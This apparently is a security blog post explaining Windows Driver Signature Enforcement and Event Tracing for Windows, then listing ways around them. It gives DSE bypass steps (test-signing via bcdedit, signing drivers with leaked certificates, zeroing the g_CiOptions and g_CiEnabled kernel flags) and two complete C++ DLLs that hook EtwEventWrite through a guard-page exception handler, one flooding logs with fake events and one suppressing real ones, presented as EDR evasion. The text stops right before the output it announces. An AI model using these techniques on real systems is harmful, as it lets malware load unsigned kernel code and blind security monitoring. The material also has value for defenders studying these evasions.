Skip to main content

Command Palette

Search for a command to run...

Understanding Windows ~ DSE Mechanism & Abusing ETW

Updated
9 min read

Introduction

In this article, I will discuss the details of the Driver Signature Enforcement Policy and Event Tracing for Windows mechanisms, which play an important role on the Windows side for malware. Below, I have touched upon what DSE and ETW are, how they work, and scenarios for manipulating them.

Windows DSE (Driver Signature Policy)

First introduced in Windows Vista, this protection mechanism requires kernel-mode drivers to be signed before they can be loaded. This ensures that only trusted and verified drivers are loaded into the system, thereby preventing malicious software from running at the kernel level. This protection mechanism works in conjunction with signature processes such as Code Integrity (CI), HVCI/Memory Integrity, and Windows Hardware Dev Center.

How Does It Work?

Below, I have added the sequence of logical steps Windows takes before running a driver.

  1. The first step before kernel startup is UEFI Secure Boot (unless the machine is very old). Code integrity is attempted throughout the boot chain (Firmware -> Bootloader -> OS Loader -> Windows Kernel). This integrity is ensured by each component verifying the signature of the one preceding it.

  2. Once this verification is complete, winload loads the kernel image. This allows the kernel subsystems to load (I/O manager, PnP manager, etc.). The mechanism important to us at this step is Code Integrity (CI). Code Integrity runs within the kernel and its job is to ensure that certain code is verified before it is loaded or executed (kernel images, drivers). This mechanism operates under the following three conditions:

    1. When the kernel image/boot-start drivers are loaded during system boot.

    2. When a new driver is requested to be loaded.

    3. If there is a dynamic policy (changes in Code Integrity), it can perform additional checks at specific times/configurations.

      The Code Integrity mechanism works as follows.

      1. The driver file is located on the disk and a loading request is received by the kernel.

      2. CI checks the signature information (PE signature, catalog .cat, certificate chain) to verify the file's signature.

      3. The certificate chain is verified (checks such as whether the CA that issued the signature is valid and certificate revocation status are performed).

      4. If required by policy, Microsoft's Dev Portal attestation/WHQL/EV requirements are checked.

      5. If verification is successful, the driver is loaded into the kernel address space; if unsuccessful, it is not loaded and a log is generated.

  3. The driver file is read from the disk and mapped into the kernel address space. On 64-bit Windows, unsigned kernel-mode code is not loaded. If this fails, the driver is not loaded and an event is written to the Code Integrity logs.

It briefly checks for an Authenticode signature and verifies that it has been approved by Microsoft or a trusted CA, and if valid, allows it to be installed.

The process changes for Windows 10 version 1607 and later. Now, all kernel-mode drivers must be signed by the Microsoft Hardware Developer Center, or an Extended Validation (EV) code signing certificate must be uploaded to and accepted by the Microsoft Dev Center, meaning drivers must definitely go through Microsoft's dev portal.

DSE Bypass

In older versions (Windows 7/8), kernel drivers could be signed with an Extended Validation Code Signing Certificate. This meant you could install your own driver.

However, there are still many DSE bypass methods available. TESTSIGNING Bit, leaked certificates, and Kernel flag manipulation are examples of these methods.

TESTSIGNING Bit bcdedit.exe -set TESTSIGNING ON Secure Boot must be disabled for this method.

Leaked Certificates Old drivers signed before July 29, 2015 are still valid. Leaked certificates from companies such as Dell and VeriSign can be used. Signing with cross-signing certificates is required. signtool sign /f Verisign.pfx /p password /ac MSCV-VSClass3.cer driver.sys

Kernel Flag Manipulation One of the most common methods is changing flags in kernel memory.

  • The g_CiOptionsflag (CI!g_CiOptions) is used for Windows 7+: Default value in CI.dll module is 0x06 Bypass value is 0x00

  • The g_CiEnabled flag (nt!g_CiEnabled) is used up to Windows 7: Default value in ntoskrnl.exe is 0x01, bypass value is 0x00

Windows has made defense mechanisms more complex by introducing new protection mechanisms such as Virtualization-Based Security (VBS) and Hypervisor-protected Code Integrity (HVCI). Thanks to these techniques, the Kernel now evaluates decisions such as code signature verification in an isolated VSM/secure kernel context. This makes it difficult for an attacker to directly modify kernel memory or bypass DSE by executing unsigned code.

Virtual Secure Mode is a small, isolated secure area running within the Windows hypervisor. It executes important functions (some CI decisions are included here). The kernel now makes decisions based on VSM. This means that some CI decisions have been moved to the secure kernel within VSM. This code and data are isolated from the guest kernel. Manipulations coming from the guest kernel are controlled or rejected by the secure kernel.

Hypervisor-protected Code Integrity This monitors the execute permissions of hypervisor kernel pages and which pages are considered signed. The kernel itself cannot make a page both writable and executable. The hypervisor prevents or requires verification for such changes or execute bit settings. Without this, an attacker gaining ring-0 access could easily write to kernel memory pages and then set the execute bit to run unsigned code.

However, as always, these methods do not provide 100% protection. At the very least, signed but vulnerable drivers can be exploited.

Windows ETW (Event Tracing for Windows)

Windows ETW is a kernel-level event tracing/data collection mechanism. It operates in both kernel and user mode. For example, the process creation chain is a kernel-mode event and is traced by the NT Kernel Logger, while file creation is a user-mode event traced by Sysinternals Sysmon.

ETW consists of three main mechanisms: provider, controller, and consumer.

Controllers

Determines the usage status of providers. It starts a session with StartTrace/EnableTrace and determines which providers will be used in the opened session. This phase occurs step by step as follows: The controller creates a session: The StartTrace() API is called. The kernel goes to the EtwpStartTrace() function and creates a LoggerContext object. The Controller specifies which providers will send logs with which Level/Keyword using EnableTraceEx2(). The session creates ring buffers in the kernel. Providers write events to these buffers. The OpenTrace() and ProcessTrace() APIs read this session on the consumer side.

Provider (Event providers)

In the simplest terms, it is the structure that sends an event that occurs in the system (kernel context switch, file access, registry change, process creation, etc.) to the ETW infrastructure. This structure can be kernel mode or user mode and is defined by specific GUIDs. Kernel mode providers are written to the ETW provider registration table in the kernel using the EtwRegister(Ex) function, while user mode providers are written using the EventRegister function. These providers use the EventWrite function on the user mode side and the EtwWrite function on the kernel side to write events. These events are written to the ring buffer (a fixed-size FIFO in memory). When this buffer fills up, new data overwrites the oldest data. When it needs to be emptied, the buffer is directed to the Consumer.

  • Manifest-based providers: Event ID, level, opcode, keyword, and template are defined using XML. The Consumer parses the schema.

  • Manifest-less providers: The schema is generated at runtime.

Consumer

This stage is the final link in the chain that listens to/reads events.

  • File-based consumer: The .etl file is read using OpenTrace() + ProcessTrace().

  • Real-time consumer: OpenTrace() connects with the real-time parameter. Real-time events arrive at the callbacks via ProcessTrace().

Advantages/Disadvantages of ETW

This system handles many events on the kernel side without affecting system performance, and because there are so many providers, a great deal of data can be collected for forensics. We can also perform these operations by writing drivers to collect events on both the kernel and user sides, but writing drivers is much more complex, which makes this task difficult. Additionally, it may be easier for malware to detect. Using ETW, on the other hand, does not burden the system and allows events to be collected with a simpler structure, as mentioned above.

However, the simplicity of the ETW structure also comes with several disadvantages. For example, since providers identify themselves only with specific GUIDs, methods such as GUID spoofing can be used to create chaos in the system, kernel flags can be changed to manipulate sessions, or functions used in the ETW mechanism, such as EtwEventWrite, can be easily hooked to circumvent this mechanism.

At this point, ETW's self-protection mechanisms are quite inadequate. Since EDRs monitor event logs, malware can exploit these weaknesses in ETW to evade EDRs.

ETW Abuse Scenarios

As mentioned above, there are many abuse scenarios on both the provider and controller sides. The simplest of these is the event noise technique. Since these logs will ultimately be interpreted by a human or an agent, writing fake events makes the other side's job considerably more difficult.

#include <windows.h>
#include <evntprov.h>
#include <stdio.h>
#include <vector>
#include <random>

#pragma comment(lib, "ntdll.lib")

typedef ULONG(WINAPI* pEtwEventWrite)(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
);

pEtwEventWrite g_EtwEventWrite = nullptr;
std::vector<EVENT_DESCRIPTOR> g_NoiseEvents;

ULONG WINAPI MyEtwEventWrite(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
) {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<> countDist(100, 200);
    int count = countDist(gen);

    for (int i = 0; i < count; ++i) {
        std::uniform_int_distribution<> idxDist(0, g_NoiseEvents.size() - 1);
        const EVENT_DESCRIPTOR& desc = g_NoiseEvents[idxDist(gen)];
        g_EtwEventWrite(RegHandle, &desc, 0, nullptr);
    }

    return ERROR_SUCCESS;
}

LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        if ((void*)ExceptionInfo->ContextRecord->Rip == g_EtwEventWrite) {
            ExceptionInfo->ContextRecord->Rip = (DWORD64)&MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetupHook() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    g_EtwEventWrite = (pEtwEventWrite)GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);

    AddVectoredExceptionHandler(1, VectoredHandler);

    OutputDebugStringA("[ETW HOOK] Hook installed.\n");
}

void InitNoiseEvents() {
    for (int i = 0; i < 1000; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(2000 + i), 1, 0, 4, 10, 10, 0x0000000000000001ULL });
    }
    for (int i = 0; i < 500; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(3000 + i), 1, 0, 4, 1, 20, 0x0000000000000010ULL });
    }
    for (int i = 0; i < 300; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(4000 + i), 1, 0, 4, 15, 30, 0x0000000000000080ULL });
    }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        InitNoiseEvents();
        SetupHook();
    }
    return TRUE;
}

This code is a simple ETW noise code, and when loaded and run with a loader, it generates hundreds of fake logs.

As another abuse technique, we can hook the EtwWrite function with the following code and send a fake etw message.

#include <windows.h>
#include <evntprov.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef ULONG(WINAPI* pEtwEventWrite)(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
);

void* g_EtwEventWrite = nullptr;

ULONG WINAPI MyEtwEventWrite(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
) {
    OutputDebugStringA("[ETW HOOK] fake etw message\n");
    return 0;
}

LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        if ((void*)ExceptionInfo->ContextRecord->Rip == g_EtwEventWrite) {
            ExceptionInfo->ContextRecord->Rip = (DWORD64)&MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetupHook() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    g_EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
    AddVectoredExceptionHandler(1, VectoredHandler);

    OutputDebugStringA("[ETW HOOK] Hook installed.\n");
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        SetupHook();
    }
    return TRUE;
}

When we run this code with a simple loader, we get the following output.